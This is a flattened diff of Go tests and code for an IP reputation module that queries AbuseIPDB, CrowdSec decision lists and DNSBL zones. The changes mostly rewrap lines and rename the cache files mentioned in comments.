addr = addr.Next()
|
addr = addr.Next()
|
||||||
}
|
}
|
||||||
|
|
||||||
checker.Load(reputation.Checks{Scores: scores})
|
checker.Load(scores)
|
||||||
|
|
||||||
got := checker.Snapshot().Scores
|
got := checker.Snapshot()
|
||||||
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
||||||
slices.Contains(got, scores[count-1]) {
|
slices.Contains(got, scores[count-1]) {
|
||||||
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
|
t.Errorf(
|
||||||
|
"%d scores kept, want all but the one fetched longest ago",
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -486,7 +581,9 @@ type abuseIPDBStandIn struct {
|
|||||||
|
|
||||||
// RoundTrip has the stand-in answer req, in place of the network. A check
|
// RoundTrip has the stand-in answer req, in place of the network. A check
|
||||||
// abandoned before the stand-in answers fails, as over the network.
|
// abandoned before the stand-in answers fails, as over the network.
|
||||||
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
func (s *abuseIPDBStandIn) RoundTrip(
|
||||||
|
req *http.Request,
|
||||||
|
) (*http.Response, error) {
|
||||||
client := req.URL.Query().Get("ipAddress")
|
client := req.URL.Query().Get("ipAddress")
|
||||||
sent := req.Header.Get("Key")
|
sent := req.Header.Get("Key")
|
||||||
|
|
||||||
@@ -506,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
|
|||||||
status = http.StatusUnauthorized
|
status = http.StatusUnauthorized
|
||||||
case status == 0:
|
case status == 0:
|
||||||
status = http.StatusOK
|
status = http.StatusOK
|
||||||
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
|
body = fmt.Sprintf(
|
||||||
score)
|
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
|
||||||
|
client,
|
||||||
|
score,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &http.Response{
|
return &http.Response{
|
||||||
@@ -567,15 +667,25 @@ func newAbuseIPDB(
|
|||||||
// wantScore checks the score checker gives client, and whether it is a
|
// wantScore checks the score checker gives client, and whether it is a
|
||||||
// hit, as a request from client finds them, offender or not.
|
// hit, as a request from client finds them, offender or not.
|
||||||
func wantScore(
|
func wantScore(
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
|
t *testing.T,
|
||||||
score int64, hit bool,
|
checker *reputation.AbuseIPDB,
|
||||||
|
client string,
|
||||||
|
offender bool,
|
||||||
|
score int64,
|
||||||
|
hit bool,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
||||||
if gotScore != score || gotHit != hit {
|
if gotScore != score || gotHit != hit {
|
||||||
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
|
t.Errorf(
|
||||||
score, hit)
|
"%s has the score %d, a hit %t, want %d, %t",
|
||||||
|
client,
|
||||||
|
gotScore,
|
||||||
|
gotHit,
|
||||||
|
score,
|
||||||
|
hit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -583,7 +693,10 @@ func wantScore(
|
|||||||
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
||||||
// as sww counts clients.
|
// as sww counts clients.
|
||||||
func hitFrom(
|
func hitFrom(
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
|
t *testing.T,
|
||||||
|
checker *reputation.AbuseIPDB,
|
||||||
|
address string,
|
||||||
|
offender bool,
|
||||||
) (int64, bool) {
|
) (int64, bool) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -627,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
|
|||||||
// the error failure, and that the cooldown has held back held repeats of
|
// the error failure, and that the cooldown has held back held repeats of
|
||||||
// it.
|
// it.
|
||||||
func wantFailureAlert(
|
func wantFailureAlert(
|
||||||
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
|
t *testing.T,
|
||||||
|
queue *alerts.Queue,
|
||||||
|
raised time.Time,
|
||||||
|
reason, failure string,
|
||||||
held int64,
|
held int64,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -637,8 +753,15 @@ func wantFailureAlert(
|
|||||||
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
||||||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
||||||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
t.Errorf(
|
||||||
"and %d", got, queue.Suppressed(), reason, failure, held)
|
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
||||||
|
"and %d",
|
||||||
|
got,
|
||||||
|
queue.Suppressed(),
|
||||||
|
reason,
|
||||||
|
failure,
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -656,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
m.ServeHTTP(
|
||||||
http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
||||||
|
http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
return scraped.Body.String()
|
return scraped.Body.String()
|
||||||
}
|
}
|
||||||
@@ -37,7 +37,9 @@ const (
|
|||||||
rangeScope = "Range"
|
rangeScope = "Range"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
|
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
|
|||||||
// A shorter decision on the same address, which is not the one
|
// A shorter decision on the same address, which is not the one
|
||||||
// used.
|
// used.
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
// Left out: a decision to show a captcha, and one on a country.
|
// Left out: a decision to show a captcha, and one on a country.
|
||||||
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
||||||
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
|
|||||||
e.set(func(e *engine) { e.failing = true })
|
e.set(func(e *engine) { e.failing = true })
|
||||||
time.Sleep(time.Hour - time.Nanosecond)
|
time.Sleep(time.Hour - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(t, lists, "198.51.100.7",
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.7",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(6 * time.Hour),
|
||||||
|
Scenario: manual,
|
||||||
|
},
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
|
|||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
wantEngineFetches(t, e, 1)
|
wantEngineFetches(t, e, 1)
|
||||||
|
|
||||||
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
|
added := reputation.Decision{
|
||||||
|
Expires: began.Add(2 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
|
|
||||||
e.set(func(e *engine) {
|
e.set(func(e *engine) {
|
||||||
e.decisions = append(e.decisions,
|
e.decisions = append(e.decisions,
|
||||||
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
|
|||||||
// 198.51.100.130 is held by a decision on its address that ends
|
// 198.51.100.130 is held by a decision on its address that ends
|
||||||
// after the one on its netblock, and 192.0.2.20 by one that ends
|
// after the one on its netblock, and 192.0.2.20 by one that ends
|
||||||
// before.
|
// before.
|
||||||
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.128/25",
|
||||||
|
ban,
|
||||||
|
sshBF,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
||||||
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"192.0.2.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(5 * time.Hour),
|
||||||
|
},
|
||||||
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
|
t,
|
||||||
wantDecision(t, lists, "198.51.100.130",
|
lists,
|
||||||
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
|
suspect,
|
||||||
wantDecision(t, lists, "192.0.2.20",
|
reputation.Decision{
|
||||||
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.130",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(3 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"192.0.2.20",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(5 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
|
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantEngineFetches(t, e, 3)
|
wantEngineFetches(t, e, 3)
|
||||||
wantDecision(t, lists, suspect,
|
wantDecision(
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: sshBF,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
got := lists.Snapshot()
|
||||||
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
|
t.Errorf(
|
||||||
|
"lists %+v, want the first copy, last tried now, %+v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if lists.Failures(decisionsURL) != 2 {
|
if n := lists.Failures(decisionsURL); n != 2 {
|
||||||
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
|
t.Errorf("%d failures, want 2", n)
|
||||||
}
|
}
|
||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
wantAlert(t, queue,
|
failed := time.Now().Add(-time.Minute)
|
||||||
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
|
alert := fetchFailure(failed, decisionsURL, tc.error)
|
||||||
|
wantAlert(t, queue, alert)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
if !strings.Contains(
|
||||||
`"url":"`+decisionsURL+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"fetching a list failed",`+
|
||||||
|
`"url":"`+decisionsURL+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -291,9 +367,13 @@ func crowdSecFailures() []crowdSecFailure {
|
|||||||
// other than its decision list, such as the one a redirect names, and that
|
// other than its decision list, such as the one a redirect names, and that
|
||||||
// the key is in none of what the fetches leave behind: log, the process
|
// the key is in none of what the fetches leave behind: log, the process
|
||||||
// log, the alerts waiting in queue, and the copies of lists, which
|
// log, the alerts waiting in queue, and the copies of lists, which
|
||||||
// reputation.json keeps.
|
// lists.json keeps.
|
||||||
func wantKeyNotShown(
|
func wantKeyNotShown(
|
||||||
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
|
t *testing.T,
|
||||||
|
e *engine,
|
||||||
|
log string,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
queue *alerts.Queue,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -315,18 +395,26 @@ func wantKeyNotShown(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
|
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
kept := lists.Snapshot()
|
kept := lists.Snapshot()
|
||||||
|
|
||||||
// Restarted half an hour later with what reputation.json keeps, and
|
// Restarted half an hour later with what lists.json keeps, and
|
||||||
// the engine down, the decision still bans, until the end it had at
|
// the engine down, the decision still bans, until the end it had at
|
||||||
// the fetch, half an hour on.
|
// the fetch, half an hour on.
|
||||||
time.Sleep(30 * time.Minute)
|
time.Sleep(30 * time.Minute)
|
||||||
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
|
|||||||
|
|
||||||
run(t, again)
|
run(t, again)
|
||||||
|
|
||||||
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
|
want := reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
wantDecision(t, again, "198.51.100.7", want)
|
wantDecision(t, again, "198.51.100.7", want)
|
||||||
|
|
||||||
time.Sleep(30*time.Minute - time.Nanosecond)
|
time.Sleep(30*time.Minute - time.Nanosecond)
|
||||||
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
|
|
||||||
e.fetches++
|
e.fetches++
|
||||||
|
|
||||||
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
|
if req.URL.String() != decisionsURL &&
|
||||||
|
req.Header.Get("X-Api-Key") != "" {
|
||||||
e.keySentTo = append(e.keySentTo, req.URL.String())
|
e.keySentTo = append(e.keySentTo, req.URL.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
||||||
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
||||||
case e.redirect != "":
|
case e.redirect != "":
|
||||||
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
|
status, header = http.StatusFound, http.Header{
|
||||||
|
"Location": {e.redirect},
|
||||||
|
}
|
||||||
case e.failing:
|
case e.failing:
|
||||||
status, body = http.StatusServiceUnavailable, ""
|
status, body = http.StatusServiceUnavailable, ""
|
||||||
case body == "":
|
case body == "":
|
||||||
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
|
|||||||
for _, d := range e.decisions {
|
for _, d := range e.decisions {
|
||||||
if now.Before(d.expires) {
|
if now.Before(d.expires) {
|
||||||
answer = append(answer, map[string]string{
|
answer = append(answer, map[string]string{
|
||||||
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
|
"duration": d.expires.Sub(now).
|
||||||
|
String(),
|
||||||
|
"origin": "crowdsec",
|
||||||
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
|
|||||||
// wantDecision checks the decision lists says is in force on addr now,
|
// wantDecision checks the decision lists says is in force on addr now,
|
||||||
// the zero Decision for none.
|
// the zero Decision for none.
|
||||||
func wantDecision(
|
func wantDecision(
|
||||||
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
|
t *testing.T,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
addr string,
|
||||||
|
want reputation.Decision,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
|
got, listed := lists.CrowdSecDecision(
|
||||||
|
netip.MustParseAddr(addr),
|
||||||
|
time.Now(),
|
||||||
|
)
|
||||||
if listed != !want.Expires.IsZero() ||
|
if listed != !want.Expires.IsZero() ||
|
||||||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
listed &&
|
||||||
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
|
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s has the decision %+v in force %t, want %+v",
|
||||||
|
addr,
|
||||||
|
got,
|
||||||
|
listed,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -40,7 +40,7 @@ var (
|
|||||||
errNotListing = errors.New("the answer is outside 127.0.0.0/8")
|
errNotListing = errors.New("the answer is outside 127.0.0.0/8")
|
||||||
)
|
)
|
||||||
|
|
||||||
// Verdict is what a zone said about a client, as reputation.json holds
|
// Verdict is what a zone said about a client, as dnsbl.json holds
|
||||||
// it: the zone, the client's address, whether the zone lists it, and when
|
// it: the zone, the client's address, whether the zone lists it, and when
|
||||||
// the zone answered.
|
// the zone answered.
|
||||||
type Verdict struct {
|
type Verdict struct {
|
||||||
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every verdict still in use, sorted by client, then by
|
// Snapshot returns every verdict still in use, sorted by client, then by
|
||||||
// zone, as reputation.json lists them.
|
// zone, as dnsbl.json lists them.
|
||||||
func (d *DNSBL) Snapshot() []Verdict {
|
func (d *DNSBL) Snapshot() []Verdict {
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
|
|
||||||
@@ -203,13 +203,16 @@ func (d *DNSBL) Snapshot() []Verdict {
|
|||||||
d.mu.Unlock()
|
d.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
||||||
return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
|
return cmp.Or(
|
||||||
|
a.Client.Compare(b.Client),
|
||||||
|
strings.Compare(a.Zone, b.Zone),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
return verdicts
|
return verdicts
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps verdicts, read from reputation.json, in place of those it
|
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
||||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||||
// more is neither used nor written, as for any verdict.
|
// more is neither used nor written, as for any verdict.
|
||||||
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
|
answer, err := d.resolver.LookupNetIP(
|
||||||
|
ctx,
|
||||||
|
"ip4",
|
||||||
|
queryName(q.zone, q.client),
|
||||||
|
)
|
||||||
|
|
||||||
var dnsErr *net.DNSError
|
var dnsErr *net.DNSError
|
||||||
|
|
||||||
|
|||||||
@@ -73,7 +73,11 @@ func TestMain(m *testing.M) {
|
|||||||
return nil, errNoNetwork
|
return nil, errNoNetwork
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
|
_, _ = resolver.LookupNetIP(
|
||||||
|
context.Background(),
|
||||||
|
"ip4",
|
||||||
|
"warm-up.invalid.",
|
||||||
|
)
|
||||||
|
|
||||||
m.Run()
|
m.Run()
|
||||||
}
|
}
|
||||||
@@ -92,7 +96,9 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
|
|||||||
|
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
||||||
v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
|
v6Name + otherZone + ".": {
|
||||||
|
addrs: []string{"127.0.0.4", "127.0.0.10"},
|
||||||
|
},
|
||||||
"99.2.0.192." + otherZone + ".": {},
|
"99.2.0.192." + otherZone + ".": {},
|
||||||
}}
|
}}
|
||||||
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
||||||
@@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
@@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
|
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
answer answer
|
answer answer
|
||||||
@@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
|
|||||||
p := dnsblParams(zone)
|
p := dnsblParams(zone)
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
|
dnsbl := newDNSBL(
|
||||||
|
&resolverStandIn{answers: map[string]answer{
|
||||||
listedName: tc.answer,
|
listedName: tc.answer,
|
||||||
}}, p)
|
}},
|
||||||
|
p,
|
||||||
|
)
|
||||||
|
|
||||||
// The failure gives no verdict, and the zone is not asked
|
// The failure gives no verdict, and the zone is not asked
|
||||||
// again within a minute of it.
|
// again within a minute of it.
|
||||||
@@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
|
|||||||
Time: time.Now().Add(-time.Minute),
|
Time: time.Now().Add(-time.Minute),
|
||||||
Event: alerts.EventSourceFailure,
|
Event: alerts.EventSourceFailure,
|
||||||
Reason: "asking a DNSBL zone failed",
|
Reason: "asking a DNSBL zone failed",
|
||||||
Detail: map[string]any{"source": zone, "error": tc.error},
|
Detail: map[string]any{
|
||||||
|
"source": zone,
|
||||||
|
"error": tc.error,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
|
if !strings.Contains(
|
||||||
`"zone":"`+zone+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"asking a DNSBL zone failed",`+
|
||||||
|
`"zone":"`+zone+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
